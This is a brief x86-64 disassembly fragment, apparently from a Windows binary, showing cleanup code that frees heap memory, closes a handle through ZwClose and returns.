call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140028e3a
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + rax]
jmp 0x140028e3a
xor eax, eax
add rsp, 0x88
ret